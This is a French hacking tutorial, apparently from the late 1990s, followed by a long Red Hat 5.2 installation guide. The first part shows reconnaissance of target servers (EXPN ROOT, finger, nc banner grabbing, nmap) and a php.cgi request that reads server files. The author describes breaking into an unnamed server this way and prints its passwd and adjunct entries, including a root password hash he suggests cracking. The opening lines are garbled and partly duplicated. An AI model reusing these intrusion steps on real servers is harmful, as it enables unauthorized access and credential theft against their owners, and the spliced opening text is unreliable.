- Le dernier moyen c'est d'utiliser certains ports spécifiques comme le finger (79) et le whois (43),is que celui ci vous aura salué à son tour vous ferez EXPN ROOT. Bien sûr il faut que le login ROOT existe car bien sûr le root n'a pas toujours le login root et même loin de là. Il se peut même que le login root n'est qu'un statut d'user. Essayez donc toujours EXPN ROOT et voyez ce que celà donne si ca met "login inconnu" essayez les autres login bâteau utilisés par les root tels que sysop, admin,... et puis si ça ne donne rien et que le serveur que vous attaquez a une page web vous pourrez essayer de chercher des infos sur les différents email sur ce site. Bien sûr le expn ne marche pas que pour le root mais pour n'importe quel user.
- La quatrième est de faire un nslookup sur un serveur mais cela ne marche que sous Linux. pour cela faites:  nslookup www.assassin.com (en mode console bien sûr)
- Le cinquième est de faire un dig. Toujours en mode console sous Linux: dig www.assassin.com.
- Le dernier moyen c'est d'utiliser certains ports spécifiques comme le finger (79) et le whois (43), qui, quand il ne sont pas fermés ou inutilisables par une machine étrangère sont très instructifs pour savoir quelles sont les machines et les users connectés à cette machine ainsi que leur ip et leurs droits. Pour savoir quels ports sont ouverts (comme le ftp, le telnet, le finger...) on utilise un scanner de ports. Bien sûr pour qu'un serveur puisse savoir quelles personnes sont autorisées à entrer, il a des critères qu'il vérifie comme le login, le pass, l'ip, les ports sources, le protocole des paquets,... Avec les infos que l'on vient de récolter on va pouvoir utiliser des méthodes pour falsifier ces critères et contourner les sécurités. Mais ça c'est pour un autre article...
 

Maintenant on va essayer de voir sur quel OS tourne un serveur. Ca nous servira énormement pour savoir quel méthode de hack utiliser. Pour celà il y a aussi plusieur méthodes malheureusement la plupart de celle que je connais passent par linux. On ira pas jusqu'à dire Linux ou mourrir mais si on est pas un expert Windows (un véritable expert), il y a plein de choses que vous ne pourrez pas exploiter sans programme spécifique et les programme (je parle ici de programme de hackers genre Satan, nmap,...) sous windows se font très rares. On est d'ailleurs obligé de faire soit même la conversion linux win ou programmer soi même sa propre application pour que win commence à ressembler à quelque chose d'exploitable. Les moyens de trouver sur quel OS tourne un serveur sont nombreux. Voici plusieurs méthodes:
- La première c'est le ftp. On va faire comme pour le hack par ftp et des la connection on va voir apparaître une ligne que le serveur nous enverra avec le type d'OS qu'il utilise. Ceci n'est pas une science exacte car pas mal de serveur enlèvent cette ligne ou la remplace par une fausse ou par une bande de pub (secure ou commercial :-( ). Alors si vous êtes sous windows ca s'arrête là mais si vous êtes sous linux, il vous suffit de faire SYST pour avoir un complément d'informations sur l'OS du serveur.
- la deuxième se passe sous linux, il sagit de faire: playground~ telnet hpux.u-aizu.ac.jp
Trying 163.143.103.12...
Connected to hpux.u-aizu.ac.jp.
escape character is '^]'.
HP-UX hpux B.10.01 A 9000/715 (ttyp2)
login:
(tiré du mag américain Phrack)

La vous voyez bien la version de l'OS du serveur (5ème ligne pour ceux qui n'auraient pas vu).

- La troisième méthode se passe également sous linux:

playground echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:'
Server: Microsoft-IIS/4.0
playground
(toujours trié du même zine)

- Enfin la dernière et la meilleure passe encore par linux car il s'agit d'utiliser les paquets TCP renvoyés par un serveur pour savoir de quel serveur il sagit. En effet le plupars des serveurs ont des gestions de couches de paquets tcp propres et donc differentes entre chaque serveur ce qui fait qu'en connaissant bien toutes les versions de tous les OS mondiaux, et en integrant leur particularité pour les renvois de paquets de protocole tcp, udp et même des fois icmp, le programme pourra presque avec certitude dire quel est l'OS qui tourne sur un serveur. En effet en envoyant un paquet quel que soit le protocole (tcp ou udp. Icmp étant à part car il ne sert que pour les paquets erreur ou redirigés avec retour car entête incorrect) le serveur altere un peu l'entête du paquet tcp sans pour autant toucher aux données utilles pour les users normaux. Cette altération va être mémorisée et analysée. Chaque OS l'altérant différement, son type et sa version seront imédiatement détectés. Ce programme s'appelle nmap et est disponible à l'adresse suivante: http://www.insecure.org/nmap.

Quelque chose qui peut peut être aussi vous servir c'est de mettre un "=" derrière un cgi-bin si le serveur possède une faille ça vous donnera la version de l'OS, du kernel, des scripts ... mais bon généralement on a besoin de ce genre d'infos avant d'être logué sur la bécane et ces infos vous ne les optiendrez que si vous avez un accès en lecture via http par les cgi-bin. Par exemple si un serveur nommé assassion a des scripts cgi php buggés il vous suffira de faire ça: www.assassin.com/cgi-bin/php.cgi?/=.

Bien sûr toutes les étapes précédentes ne sont pas indispensables, c'est rare quand toutes ces étapes sont obligatoires mais quand on n'arrive pas à rentrer dans un serveur directement on essaye de rentrer par un moins sécurisé auquel il fait confiance et c'est à ça que sert de savoir avec lesquels il communique.


Pièges à éviter :
 


Structure d'un fichier passwd UNIX :

Un fichier passwd sous UNIX varie de taille selon les serveurs mais a toujours la même structure. Il comporte un nombre différent de lignes et chacune des lignes donne les informations sur un login. Si vous ne lisez pas ce fichier avec vi sous UNIX (Linux est un système UNIX) mais par exemple avec Netscape (par exemple si on y accède avec les bug cgi) vous verez un amas informe d'informations car à la fin de chaques lignes il n'y a pas de retour à la ligne mais un espace ce qui fait que plusieurs logins (des fois trois ou quatre) se retrouvent sur la même ligne et ce n'est même pas la peine de remplacer les espaces par des retours à la ligne cela ne pourrait se faire car des annotations dans certains fichiers passwd contiennent des espaces. Le mieux étant donc de le lire sous console UNIX (je rapelle que la console c'est la fenêtre équivalente du dos sous UNIX).

Bon maintenant prenons le cas d'un fichier passwd lu par vi (éditeur standart relou sous Linux :-) avec un login par ligne (normal si on le lit par vi est c'est bien mieux comme ca). Toutes les lignes seront sur le même model. En voici une:
 
 

root

:

4frT_jf6/GoRc.9s

:

0

:

0

:

assassin

:

/root

:

/bin/bash

1

2

3

4

5

6

7

Tableau d'équivalence :
 

1  

Login de l'user

2  

password crypté

3  

UID (User ID): nombre représentant l'user pour l'ordinateur

4  

GID (Group ID):  nombre représentant le group auquel appartient l'user 

5  

Commentaires. Cette case est bien souvent vide mais si elle ne l'est pas il y aura surement dedans le véritable nom de l'user 

6  

Répertoire ou est envoyé l'user au moment ou il se logue.

7   

Premiere commande executée automatiquement dès que l'user est logué. Ici il sagit de bash qui permet d'envoyer d'autres commandes après et pouvoir ainsi faire faire des choses à l'OS. Si le bash n'est pas lancé vous pouvez toujours le faire en tapant bash en mode console.

Bon vous savez tout ce qu'il faut savoir sur la structure d'un fichier passwd et si à la place d'un mot de passe vous avez une * ou un !! ou un # reportez vous à l'article sur les passwords shadows. Si vous voyez une ligne de commande avez un password crypté qui vous semble louche (ex: UrNsHOLE (you are an ass hole) n'est ce pas Sb :-) ) et bien il est fake (faux) donc pas la peine de lancer cracker Jack la dessus.


SunOs 4.1 Shadows :

Prenons l'exemple concret du fichier passwd d'un serveur que j'avais hacké il y a peu de temps avec une faille dans les cgi-bin. Je ne vais pas donner l'URL du serveur car je ne veux pas qu'il se reproduise les débordements qu'il y a eu avec le serveur de comédie. Mais voici le contenu de ce fichier:

Proot:##root:0:1:Operator:/:/bin/csh
nobody:*:65534:65534::/:
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
ingres:*:7:7::/usr/ingres:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
ftp:*:100:100:Anonymous FTP:/www/ftp:/bin/false
sync::1:1::/:/bin/sync
sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
Upwdauthd:##AUpwdauthd:10:10:::/bin/false
AUyppasswdd:##AUyppasswdd:11:10:::/bin/false

Ca c'était le contenu du fichier passwd se trouvant dans /etc (donc /etc/passwd). Là je ne vais pas pouvoir vous expliquer tout vu que ce fichier est shadows. Ca vous le voyez aux * (je l'ai consulté par netscape) se trouvant juste derrière les logins. Tous les logins ne comportent pas d'étoile et selon la définition que j'avais donné des passwords shadows vous allez y voir une contradiction mais c'est parce que serveur tourne sous SunOS 4.1. Alors si vous vous reportez à l'article que j'ai écrit sur les passwords shadows vous allez voir que les password se trouvent dans /etc/security/passwd.adjunct. Par contre vous ne pourrez pas le lire comme ça car sous cette version de SunOS il faudra que vous spécifiez quelle ligne vous voulez lire et pour ça on va se reporter au /etc/passwd. On va chercher le pass du root tant qu'à faire. On voit que dans le /etc/passwd le login root est bien celui qui a le statut root (et oui un login peut s'appeler root sans en avoir les fonction. C'est comme si je m'appelais casimir je ne serais pas pour autant fan de globi boulgats) car il a le 0 dans la troisième colone. On voit que ce login est toujours activé car il y a quelque chose d'écrit dans la deuxième colone et que ce n'est pas un * ou un X. Il y a marqué ##root dans la deuxième colone donc c'est l'instruction que nous allons écrire dans notre browser ou sur notre console ( ça dépends de l'accès que vous avez au serveur) juste après l'arborescence qui mène au fichier password en les séparant d'un espace ce qui donnera pour l'exemple présent avec un SunOS 4.1: /etc/security/passwd.adjunct ##root. Si vous mettez ca dans votre browser ça ne donnera rien bien sur mais si je vous dis que le bug des cgi que j'ai utilisé c'est le php vous devriez (si vous avez lu toute la page et que vous l'ayez compris) reussir a trouver le même résultat que moi c'est à dire:
AUpwdauthd:*::::: root:Sc4kqf/wC8kac::::: AUyppasswdd:*::::: +::::::
 

En voyant comment était constitué ce fichier shadows vous voyez qu'il ne correspond pas du tout aux fichiers passwd habituels et vous aurez surement compris que quoi que l'on tape précédement à la place de ##root ça n'aurait rien changé car nous avons à présent l'état des comptes root, AUpwdauthd et AUyppasswdd (quand je dis "n'importe quoi à la place" c'est n'impore lequel des trois et non n'importe quel mot ou login mais ça j'espère que vous l'aurez compris). On voit que seul le login root n'a pas été désactivé et que son pass crypté est Sc4kqf/wC8kac donc plus qu'à faire tourner le cracker de brute ;-)
 


Linux :

Il est clair que vous avez déjà entendu parler de Linux que ce soit dans ce site, dans la presse ou sur internet dans des zines ou par le biais d'autres "hackers". On raconte beaucoup de conneries sur Linux et certaines personnes tellement fières d'avoir installer Linux en augmentent volontairement les capacités c'est ainsi que l'on entends par ci par là sur internet qu'un mec peut hacker tout le monde car il a Linux ou qu'il est tout simplement un boss car il a réussi a l'installer. La vérité est que beaucoup l'installent et en restent là visiblement dépassés par le nombres de commandes complexes et n'ayant rien à voir avec Windows.

Linux est un système UNIX pour pc et c'est d'ailleur le seul (enfin je ne parle pas des Minix et autres OS considérés comme defaints car dépassés ou oubliés) ce qui veut dire qu'il est multi utilisateur comme tout UNIX. Les UNIX dont il existe beaucoup de versions (SunOS, Ultrix, IRIX, AIX, openBSD, ConvexOS, freeBSD, HP/UX, SCO, OSF, Unicos,...) ne tournent que sur des stations. Les stations ce sont des ordinateurs dont l'architecture n'a rien a voir avec celle d'un pc et n'est donc pas compatible avec elle. Quand on parle du nec plus ultra pentium Xéon 500Mhz il faut savoir que les prossesseurs Alpha (équipant la majorité des stations) tournent facilement à 700 Mhz mais elles sont très chère et c'est pour cela que l'on ne les trouve qu'en entreprise ou presque. De plus la plupart des logiciels tournant dessus sont des suites bureautiques ce qui fait que l'utilisateur domestique d'un pc ne sera pas interressé par ces stations surtout que les logiciels UNIX sont très chers. Cependant voici Linux, compatible UNIX et tournant sur pc. Pour ce qui est des compatibilités avec Windows au niveau des application win c'est pas encore ça mais ça progresse et rien ne vous empèche d'avoir Windows et Linux sur le même pc et même pourquoi pas sur le même disque. J'expliquerais son installation dans le prochaine article.

Pourquoi Linux interresse-t-il les Hackers? Comme je viens de l'expliquer UNIX est est un système multiutilisateurs donc peut être installé en société et en réseau sans que personne n'interfère dans le travail d'un autre poste mais tout en permettant le partage des informations, si le système de sécurité (droits, FireWall,...) le permet bien sûr. De plus les stations sont plus rapides que les pc et permettent de faire tourner convenablement de très grosses application commes la DAO... C'est pour ça qu'il n'y a presque que des logiciels de travail sur UNIX. Maintenant les hackers veulent rentrer dans des résaeaux d'entreprises et celles ci sont equipées, pour les raisons que l'on vient de voir, de différentesversions d'UNIX. Et pour communiquer avec une machine tournant sur UNIX il faut un système compatible tel qu'un autre UNIX ou Linux ou encore le DOS. Avec Windows vous pourrez balbutier du kack mais vous n'atteindrez jamais les possibilités d'un Linux pour ce qui est de la compatibilité et donc des possibilités. Et ouais, essayez de monter NFS avec Windows je vous souhaite bien du courrage.

Alors avant Linux, UNIX existait déjà et c'était le bon vieux temps du hack sous dos mais Linux a beaucoup plus de possibilités que celui ci et a l'interêt d'être multiutilisateur. Donc ne cherchez pas, si vous voulez devenir Hacker et vous mettre au hack de sserveurs ce qui est quand même de loin le plus stimulant, installez Linux. "J'ai installé Linux, je suis maintenant un boss". Oula du calme faudrait pas trop s'emballer non plus. Comme je le disais plus haut il y en a qui se disent "je passe à Linux car c'est l'OS du hacker par excellence" mais qui sont soit rebuté par l'installation ou par les problèmes de compatibilité ou encore par la complexité (du moins apparente) des commandes et qui se décident de laisser tomber (provisoirement qu'ils disent, puis definitivement). T'as Linux? C'est là qu'il va falloir que tu commences à montrer ta détermination car il va fallor que tu te decide de remettre tous les compteurs à zéro. T'es une star de Windows mais tu connais pas trop le DOS? Il va falloir que tu accèptes de tout réapprendre sur un autre OS completement différent. Je sais on a l'impression de regresser mais tu va voir qu'après avoir compris les principales commandes de Linux on se sent à l'aise et on est conscient d'avoir franchi un grand pas. Je parlais de l'interêt de Linux pour les hackers a cause de sa compatibilité avec UNIX et bien c'est la seule chose à laquelle il vous servira pour le hack. C'est vrai que c'est beaucoup et quand vous commencerez à le maîtrier vous comprendrez mais si vous pensiez que parce qu'un hacker a Linux vous êtes à sa merci alors vous avez tout faux, surtout si vous avez Windows car Linux est utile pour sa compatibilité avec UNIX et non avec Windows (pour Windows NT c'est différent).

Je vais peut être vous paraître irrationnel ou stupide mais Windows 9X ( 95 et 98) est l'un des systèmes les plus secure si l'on sait s'en servir. En effet qu'est ce qui fait que les serveurs avec d'autres OS sont hackés? Premièrement parce que les donnés contenues dans les stations tournant sur ces OS interressent beaucoup de gens donc les hackers vont y rechercher des trous de sécurités. Ce qu'il ne se fatiguent pas à faire pour un système sans importance comme Windows 9X. Deuxièmement UNIX est paramètrable à tous les niveaux (win aussi) et les administarteurs systèmes sont obligés de les paramètrer sinon ça ne donne rien ce qui n'est pas le cas de windows qui est censé est monoutilisateur donc que l'on a pas besoin de paramètrer ce qui évite de faire des erreurs dans ce paramètrge qui permettrait de rentrer dans d'éventuels trous de sécurités ouverts par celles ci. Vous pouvez donc considérer que si vous n'avez pas de troyens ou de ressources partagées sur votre Windows vous ne risquez rien que le hacker en face ait Linux ou non.

Il y aurait encore beaucoup de choses à dire sur Linux, comme le fait que l'on puisse échanger des fichiers très facilement entre Linux et Windows et inversement ou encore qu'il reconnait actuellement la plupars des périfériques (sauf ceux explicités: "Uniquement Windows") ce qui était loin d'être le cas il y a encore 5 ans, mais j'imagine que c'est bon comme ça et que vous aurez compris sont très grand interêt mais que ce n'est pas le saint graal comme certains sembleraient le penser (cf: certains courriers que j'ai reçu).

Voilà, ceci étant établit vous allez pouvoir passer à l'installation de cet OS sans plus attendre.
 


Installation de Linux :

D'abord où se procurer Linux? C'est un logiciel gratuit ok et entierement téléchargeable sur internet mais vous vous épargnerez beaucoup de peines et de temps de connection et même peut être d'argent en l'achetant en magazin. Je m'explique: il est bien plus simple d'avoir un cd et une disquette de boot que l'on a si on a une version achetée en magazin plutot que beaucoup de fichiers sur un disque qui de plus peuvent être contaminés ou effacé par un virus ou toute autre saloperie du même genre. Et même si vous avec un graveur saurez vous quel fichier ou répertoire copier exactement? De plus vous serez obligé tôt ou tard d'acheter un bouquin sur Linux car les commandes sont complèxes et les possibilités étandues et même si vous vous êtes passé de manuel pour Windows (ça existe un manuel la dessus? Win pour les nuls peut-être arf ') vous ne pourrez vous en passer pour Linux et cela vous coutera en moyene 300frs pour un bouquin asssez complet (il contiendra sûrement une ou plusieurs versions de Linux en plus du bouquin). Donc vous avez compris, vous allez en magazin (FNAC par exemple quoi qu'il y ait des magazins moins chers, à vous de les trouver) et vous achetez un bouquin bien gros sur Linux (genre LINUX, Le Macmillan édition 1999. Je fais de la pub mais il est bien mais il y en a bien sûr d'autres tout aussi bien) qui contiendra plusieurs versions de linux (RedHat 5.2, OpenLiux 1.2 et StarOffice 4.0 SP3 pour le Macmillan). N'achetez pas de boîtes Linux d'une version de tel ou tel constructeur de Lunix car vous n'aurez qu'un cd et un minuscule manuel pour 300frs ce qui fait que comme vous serez obligé après d'acheter un bouquin plus complet vous allez vous retrouver avec un manuel qui ne sert à rien, des cd en double et un coût deux fois plus élevé que ce qu'il aurait pu être.

"Installation de Linux compliquée", Mythe ou réalité?
Réalité si l'on a pas un minimum de méthode et que l'on ne suit pas toutes les marches à suivre dans l'ordre. Ecoutez aussi mes conseils, ils sont importants. Je vous conseil tout d'abord d'imprimer cette page car vous ne pourrez pas l'avoir sous les yeux lors de l'installation sinon et ne présumez pas de votre mémoire vous ne pourrez tout retenir si vous n'avez pas déjà installé Linux une fois. Je vous expliquer ici comment expliquer la RedHat 5.2. La Redhat est surement la plus utilisée car la plus commerciale, celle bénéficiant du plus de pub (de la pub? où ça?) et si je parle de la 5.2 c'est parce que c'est la dernière (euh la 6.0 vient de sortir mais bon la 5.2 est suffisante et j'imagine qu'il ne doit pas y avoir tant de différences et en plus dans les books vous ne trouverez pas la 6.0 car venant de sortir elle ne bénificie pas de prix avantageux).

Au départ soir vous avez une disquette de boot soit vous n'en avez pas. La disquette de boot de linux est comme une disquette de boot de windows sauf quelle ne mène pas au dos comme celle de win mais à un menu qui permet la maintenance du système ou sont installation ou encore sa mise à jour. Si vous n'en avez pas il va falloir la créer. Pour cela rien de plus simple, prenez une disquette, formattez la et laissez la dans le lecteur (on va prendre dans l'exemple que le lecteur de disquette a la partition a:, que la partition où est installée Windows est c: et que le lecteur de Cd a la partition d: . Si ce n'est pas le cas, procédez aux modifications sur la commande et et pas sur vos partitions). Vous allez chercher le programme rawrite.exe sur le cd (généralement il se trouve dans /dosutils mais ça peut dépendre des éditions) et le copier dans le répertoire c:\dos ou dans la racine je ne sais plus.
Puis vous allez taper rawrite -f d:\images\boot.img -d a: -n. Voila vous avez votre disquette de boot RedHat 5.2.

Maintenant on va préparer la place pour Linux sous Windows ce qui vous évitera beaucoup de désagréments. Bon bien sur vous pourriez le faire directement à l'installation de Linux via Fdisk ou DiskDruid mais vous risqueriez de perdre des données et la je parle d'expérience alors faites moi confiance la manière que je vais vous donner est de loin la plus safe même si elle vous prendra deux minutes de plus. Sous Windows vous allez partitionner votre disque avec un moins deux partitions. Si vous en aviez plus que deux avant vous allez utiliser l'une d'elle si sa taille est approximativement de 800Mo (c'est ce qu'il vous faudra pour installer Linux avec WindowX et être confortable dessus). S'il y avait quelque chose sur cette partition, déplacez les vers une autre partition car la partition que vous choisirez pour être celle de Linux devra être formatée obligatoirement lors de l'installation de Linux. Ici nous allons prendre l'exemple suivant, vous avez un disque dur de 4,3 Go partitionné en 2 partitions identiques de plus de 2 Go chacune. Les deux partitions sont respectivement nommées c: et d:. La partition c: est celle où est installé Windows et la partition d: est celle où nous choisirons d'installer Linux. Tout e qui se trouvait sur la partition d: devra être déplacé vers la partition c: à moins que vous ne préfériez repartitionner d: en partition d: et e: mais avec fdisk c'est très simple. Ne craignez rien si vous avez assigné un partition de 2 Go à Linux et que vous ne voulez pas lui en donner tant (ça se comprends car au départ vous préférerez laisser le plus de place à Windows vu que vous ne réalisez sûrement pas encore que Linux est un OS à part entière et que vous pourriez l'utiliser comme vous utilisiez Windows avant) vous pourrez lors de l'installation de Linux repartitionner la partition Linux de 2 Go en une Linux de 1Go et une Windows d: de 1Go. Je vous expliquerais comment faire ne craignez rien. Maintenant que vous avez assigné (au moins dans votre tête) une partition ne contenant plus de données essentielles pour vous (et oui car on va la formater cette partition) nous allons passer à l'installation de Linux proprement dite.

Allez on reboot avec la disquette toujours dans le lecteur. Là ce n'est pas Windows qui va se lancer mais une page colorées (pas de dessins, juste des lettres) qui va vous proposer différentes possibilités. Vous vous voulez faire un installation donc vous allez appuyer sur enter et après on va vous demander en quelle langue vous désirez que l'installation se fasse. Si vous tappez fr et appuyez sur enter après ça vous évitera d'avoir à choisir la langue. Si pendant que cela charge il y a marqué "boot failed", appyez sur enter apprès avoir enlevé la disquette puis réappuyer sur enter pour repasser sous Windows. Une fois là, recréez une disquette de boot comme expliqué précédement.

Alors avant de vous demander le repartitionnement du disque on va vous poser certaines questions. Pour la langue (si vous n'avez pas tapé fr enter au début) vous mettrez français, pour le clavier vous mettrez fr-latin1 et pour l'interface scsi vous allez mettre non même si vous en avez une ça vous évitera les embarras car là on vous la demende si elle vous est nécéssaire pour l'installation. Si ce n'est pas le cas elle sera automatiquement détectée dès la fin de l'installation. Ensuite on va vous demander la méthode d'installation (nfs, cdrom...) et vous mettrez cd rom puis placerez le cd de Linux dans le lecteur et appuyez sur enter. Ensuite vous mettrez "installation" et non pas "mise à jour" à moins que vous ayez déjà installé une anciène version de RedHat mais je ne pense pas que ce soit le cas pour vous. Ensuite on va vous demander quel type d'installation vouv désirez et la vous allez mettre "personnalisée" ca vous permettra de bien choisir "votre" installation en fonction de votre matériel et de vos besoins.

Là on va vous demandez si vous préférez utiliser Fdisk ou DiskDruid. Moi personnellement je préfére de loin DiskDruid mais bon comme les deux sont proposés et que cela pourra toujours vous servir de savoir comment il marche je vais détailleur les deux types d'installation:

-DiskDruid:

Pour vous déplacer dans la fenêtre DiskDruit vous utiliserez les flèches et la tabulation (pour vous déplacer également), la barre espace (pour cocher) et enter (et oui). Alors la dans l'exemple vous avez deux partitions dos (l'une c: et l'autre d:) qui s'appeleront respectivement hda1 et hda2 (hda c'est les déterminations des disques sous UNIX). Vous ne toucherez surtout pas à hda1 sous peine de perdre toutes vos données sur votre partition Windows ou de créer des problèmes que vous ne saurez pas résoudre à votre niveau. Donc à la place de la partition hda2 vous allez créer une partition hda2 linux native (c'est la parttion de linux ou sera installé le système d'exploitation et toutes vos données Linux) et une parttion hda3 Linux Swap (c'est une parttion jouant le rôle de mémoire ram pour le cas où votre mémoire ram ne serait pas assez grande. Cela évite à l'OS de faire un choix sur les données à garder comme le fait le dos). Je vous conseille de faire une seule partition native (j'ai pas encore trop vu le but d'en faire plusieur sauf si votre Linux doit être transformé en serveur ou être réellement orienté multiutilisateur et où la sécurité doit être vraiment privilègiée (pour moi le seul but de faire plusieurs partitions natives et de vouloir pouvoir formater d'un coup sans se prendre la tête toutes les données utilisateurs ou de facilité la mise en place olus rapide de sécrités concrètes au niveau user). Bef si vous voulez utiliser Linux pour le hack ou pour la "même" utilisation que windows et que vous n'avez pas l'intention de vous en servir comme serveur d'entreprise une seul partition Linux native suffira. Je vous conseille de prendre de 800 Mo à 1Go de mémoire pour Linux coupés en deux partitions (native et swap) et de ne donner que grand maximum 50 Mo de mémoire swap à Linux.
On vous demandera un point de montage pour la native et vous mettrez /. Si vous ne mettez rien l'installation ne pourra se faire. Le / signifie que vous voulez que tout Linux soit installé à la racine. C'est à dire que si vous faites cd / (instruction faisant revenir à la racine) vous trouverez en faisant ls (équivalent de dir sous dos) les repertoires /etc /usr /boot /home /mnt /dev ... La partition swap n'a pas de point de montage car j'imagine que ça ne vous interressera pas de savoir que tel ou tel programme utilise cette variable et est utilisée suffisement fréquement pour y figurer. De Linux pour pouvoir accèder à Windows il existe un programme qui s'appelle Samba et que l'on peut installer sur Linux dès la première installation (on vera cela plus tard) mais il y a un autre moyen de pouvoir accèder aux données de Windows c'est de mettre un point de montage à vos partitions dos. Par exemple de mettre le point demontage /dosc à votre partition c:. Ce qui fera que dès que vous aurez installé Linux et que vous vous mettrez en mode console, si vous faites cd / puis ls vous apercevrez un repertoire nommé /dosc dans lequel vous trouverez les même choses que si vous faites dir sous c:.
Une fois que vous avez fait tout ca il vous restera probablement de la place surtout que dans l'exemple on était parti d'une partition de 2 Go donc il voues reste 1,2 Go (2 Go - 800 Mo = 1,2 Go) donc nous allons créer un autre partition dos pour vous redonner de la place sous windows et ainsi recreer la parttion d: que l'on avait effacé pour créer la partition Linux native et qui se retrouvera ainsi emputée de 800 Mo. Celle la vous ne l'appelerez pas native ni swap mais avec le nom que celle qui contient Windows c'est à dire hda1 normallement. Je vous dis de l'appeler "de la même manière" et ne vous dit pas comment elle s'appelle car cela dépendra de si votre système est le 95 le 98 et si c'est un fat 16 ou 32 ais je pense que vous serez amené à mettre "DOS 16-bit>=32M" comme type de partition. Donc ne vous prenez pas la tête appelez la de la même manière mais surtout pas native ni swap. Comme cette partition est maintenant la partition d: vous pouvez lui mettre un point de montage pour pouvoir y accèder aussi sous Linux. Si vous avez mis /dosc pour c:, mettez /dosd en point de montage pour d: à moins que vous vouliez mettre autre chose, le choix est bien entendu libre.
Pour toutes les partitions crées vous pouvez les rendre extensibles en cochant la case prévue à cet effet en appuyant sur espace. Une fois toutes les partitions crées, leur point de montages déterminé, leur taille et leur extensibilité définie et que plus aucune place n'est disponible vous allez pouvoir cliquer sur ok et si vous avez suivit à la lettre ce que je viens de vous expliquer vous ne devriez pas de rencontrer le moindre problème. Passez le paragraphe parlant deFdisk et rendez vous directement à la suite de l'installation.


-Fdisk:

Moi je n'aime pas Fdisk et je trouve ça moins clair que DiskDruid mais comme ça peut servir je vous l'explique quand même.

 

-Suite de l'installation:

Une fois le parttionnement terminé on vous demendera quels packetages vous desirez installer. La faites ce que vous voulez et si par la suite vous trouver que certains ne vous servent pas ou qu'il vous en manque et bien vous pourrez toujours les installer sans avoir à reinstaller Linux (hereusement). Ensuite on va vous demander votre type de sourie, de modem, d'imprimante, la définition et le rafraichissement de votre moniteur ainsi que votre carte graphique et sa mémoire vidéo. Pour cela ce n'est pas très dur et je vous laisserez vous demerder. Le seul truc qui pourrait vous poser des problèmes c'est pour le ttpe de moniteur si vous choisissez de ne pas en prendre un de la liste. Là si vous ne savez pas quoi chocher, allez y au feeling et notez bien le choix que vous avez pris et si ça ne donne rien de satisfaisant reconnencez avec une autre configuration (d'où l'interêt de noter celles que vous avez déjà essayé et qui n'ont rien donné de bon).

On va ensuite vous demander le password du root et la ce n'est pas du hacking, quelque soit le pass que vous mettrez il sera bon ;-). Quand vous l'écrirez il n'apparaîtra pas et c'est normal ne vous inquiétez donc pas. Une fois celui ci entré appuyez sur tabulation et réecrivez le une deuxième fois et appyez sur enter. N'oubliez pas de retenir ce password car c'est votre password root. Ensuite il va falloir paramètrer LILO (c'est le programme qui va se lancer au boot et qui vous permettra de choisir à chaque démarrage si vous voulez lancer Windows ou Linux. De base LILO privilégiera Linux (on se demande pourquoi) c'est à dire que si au bout de 50 secondes vous n'avez pas fait votre choix au démérrage du pc c'est Linux qui va se démarrer par défaut. Bien sûr vous pouvez changer ça en appuyant sur F2. Maintenant validez en appuyant sur enter.

Voila maintenant l'installation est terminée est votre pc va rebooter. N'oubliez pas de retirez le cd et la disquette des lecteurs avant de rebooter sinon vous aurez le droit à une nouvelle installation. Je sais que c'est simpa mais bon faudrait pas trop abuser des bonnes choses. La LILO va se mettre en marche, appyez sur tabulation si vous voulez voir ce qu'il faut taper pour accèder à Windows ou Linux (ça c'était paramètrable tout à l'heure si vous n'aviez pas vu). Si au prompt LILO vous appyez sur enter, c'est l'OS que vous avez choisi pour LILO par defaut qui va se lancer. Et si vous n'avez rien tappé, au bout de 50 secondes ce sera l'OS par défaut qui se lancera.

Bien sûr ici vous allez lancer Linux histoire de voir ce que donne ce nouvel environnement graphique. Beaucoup de choses vont se marquer sur l'écran et il est plus que probable que vous n'en compreniez pas un dixième mais ce n'est pas important. Puis l'écran va s'effacer et on vous demander un login (localhost login). Pour l'instant le seul login existant est celui de root (mais on en rajoutera par la suite) donc vous allez écrire root et appuyer sur enter. Puis on vous demandera le password correspondant et vous allez écrire celui que vous avez mis tout à l'heure. Il ne s'affichera pas mais ne paniquez pas c'est normal c'est pour éviter que si quelqu'un se trouve derrière vous il puisse le voir (et oui Linux équipe aussi les entreprises). Là le pass et le login seront accètés. Si ce n'est pas le cas il y aura marqué "login incorrect" mais ce n'est ppas que le login est faut cela peut tres bien venir du password et si le login que vous avez entré est "root" c'est sûr que vous ne vous êtes trompé que de login. Ce n'est pas grave, retappez le juste. Ensuite vous allez voir le prompt suivant qui va s'afficher juste apres l'heure et la date: [root@localhost/root]#

Cela signifie que vous êtes sous le login root devant votre pc et que vous y êtes en statut de root et que votre bécane a pour nom "localhost" mais n'ayez crainte ca se change plus tard en tapent "linuxconf" dans la console. On a déjà vu que le fait d'être logué sous le login root ne vulait pas dire que vous étiez root sur la bécane, tout dépends des droits attribués au login "root".

Ensuite vous allez essayé des commandes de base tel que "ls" ou "cd etc" ou "cd .." ou encore "date". Une fois que vous avez bien vu que cela marchait sous le même principe que le dos vous allez faire "exit". Voila on est revenu au point de départ et vous voyez qu'il faut recommencer à entrer le login et le pass. Une fois revenu au prompt # (qui indique que vous êtes root sinon si vous n'êtiez que user et quelques soient les droits de cet user vous auriez un $ à la place.) vous allez taper "startx" et cela lancera W-Windows (interface ressemblant à Windows) et vous allez voir que vous ne serez pas totalement dépaysés sur ce nouvel OS.

Alors là je vous laisse un peu farfouiller partout, sachez juste que contrairement à Windows, Linux permet de changer d'interface grafique si celle ci ne vous convient pas en faisant "switch to". La RedHat propose trois versions dont la "afterstep" dont je trouve la mieux faite au niveau graphique (100 fois mieux que Windows) mais qui et chiante niveau fonction. Enfin quand vous commencerez à maîtriser vous ne vous en servirez même plus car vous serez tout le temps en mode console (cependant plus agréable, plus rapide et comportant plus de fonctions que le DOS) et mais c'est vrai que cela pourra vous embetter au départ alors allez télécharger KDE qui est la meilleur interface graphique (je suis loin d'être le seul à le dire) sous Linux à l'adresse suivante: ftp://ftp.lip6.fr/pub/linux/distributions/redhat-contrib/libc6/SRPMS et téléchargez kdebase, kdelibs et kdesupport.

